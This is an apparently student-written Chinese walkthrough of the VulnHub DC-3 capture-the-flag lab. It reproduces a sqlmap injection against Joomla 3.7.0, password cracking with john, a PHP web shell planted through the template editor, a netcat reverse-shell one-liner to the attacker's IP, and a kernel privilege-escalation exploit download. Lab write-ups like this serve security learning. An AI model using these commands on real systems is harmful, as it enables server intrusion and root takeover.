vulnhub DC-3 靶机

本来说周末把这个靶机打完的,但是周末看了两天动画片。周一上午花了一上午上课的时间,把这个靶机再系统的复现了一下,(感谢我的老师对我的放水。)

DC-3靶机

过关方式:得到root权限,查看flag

攻击机 : kali 192.168.56.132

受害机 :DC-3 192.168.56.144

内网信息探测
arp-scan -l
nmap -A -p1-65535 -T4 192.168.56.144
image-20230306102035660

根据DC-3靶机的mac地址确定靶机ip为 192.168.56.144。通过nmap的端口扫描得到开放端口为80.

直接访问靶机ip

image-20230306102254017

大概意思就是需要得到root权限。通过插件得到网站目录下有joomla的cms

image-20230306102805676

但是我们现在还不知道该cms的路径。使用 joomscan扫描得到。

image-20230306103029856

扫到了joomla管理员的登录页面。

image-20230306103211075
漏洞攻击

上面知道了该cms版本为 3.7.0.

image-20230306103418871

提示存在sql注入漏洞,查看利用文档

image-20230306103645378

提示了sqlmap一把嗦的方法。

前面获取表名那些直接跳过,这里直接梭最后一步用户名和密码

sqlmap -u "http://192.168.56.144/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "id,username,password" --dump -p list[fullordering]
image-20230306110130210

密码是经过加密的,需要用到john进行密码暴破

vim 1.txt //将加密的内容写入文档中,并保存退出
cat 1.txt //查看内容
john 1.txt //分析

我第一次是可以成功的,第二把复现的就没办法成功。我也不知道这是为什么,大家可以下去研究下。密码暴破为 snoopy

账号 admin

密码 snoopy

get webshell

进入了后台我们下面就想get shell。查看是否可以 上传 web shell。

image-20230306111007747

选择第二个内容。

image-20230306111033216

点击第一个。

image-20230306111107237

通过这个入口写入一句话马。

image-20230306111140578

我们尝试访问下一句话马的路径。

image-20230306111253825

没有找到,说明我们的文件路径有问题。

image-20230306111329714

通过这段提示路径。

http://192.168.56.144/templates/beez3/html/shell.php
zh

成功访问。然后进行蚁剑连接。

image-20230306111735853

这一步主要是为了后面上传exp。由于后续需要进行到提权操作。

反弹shell

现在回到刚才写一句话马的界面,写入反弹shell

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.132 1234 >/tmp/f');?>

然后监听端口

nc -lvnp 1234

访问一下写入反弹shell的目录里。

image-20230306112527347

由于不是完整的shell环境,我们还需要通过DC -提过的python的pty模块,得到完整的shell环境。

python -c 'import pty;pty.spawn("/bin/bash")'
image-20230306112817805

成功获取shell

权限提升

查看权限。 whoami

image-20230306112902712

需要进行提权。

执行前面两个操作过的东西,发现很多环境无法进行正常利用。

查看 linux内核版本吗,尝试进行内核提权。

image-20230306113108756

得到linux的内核版本,然后查看是否有可利用的文件。

image-20230306113202511

查看利用内容。

cat /usr/share/exploitdb/exploits/linux/local/39772.txt
image-20230306113521593

这一段是exp的下载地址。

网上很多博客,我感觉他自己都没有去找过这个文件,他直接给你说这一段是exp的地址,叫你去下载,但是现在都2023年了,这个文件早就不能用了关于这个项目,也搬到gitlab上去了。那些还在说这个路径的,我也不知道他后续是如何进行提权的。

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

这才是现在的2023年3月6日可以找到的exp地址。

下载下来后将文件复制到kali并通过蚁剑上传。

//进入exps上传的目录进行解压操作。
unzip 39772.zip   //解压压缩包
cd 39772    //切换到解压好的目录下
tar -xvf exploit.tar  //解压提权压缩包
cd ebpf_mapfd_doubleput_exploit //切换目录
//切换到上面最后一步的目录后,再执行提权操作
./compile.sh
ls
./doubleput //执行提权文件
whoami
image-20230306114505927

成功提权到root权限。

//获取flag
cd/root
ls
cat the-flag.txt
image-20230306114643798

成功拿到flag。

总结

这个靶机的过关方式首先与前面两关的就不同,这个只需要得到一个flag就可以了。难度的话,我个人感觉是更低的。由于靶机只开放了一个80端口,所以没办法进行ssh连接操作,想执行shell。需要进行反弹shell的操作,提权的话用到的就是网上公开的exp,kali里面的文件路径已经过期了,需要到gitlab去找。这个靶机的难点我个人认为在于反弹shell的编写,我以前也没有系统学过,用的也是网上博客的。哪天还是去系统了解下。还有就是对于john这款工具,有些师傅没有用过,所以面对加密的密码就有点懵逼。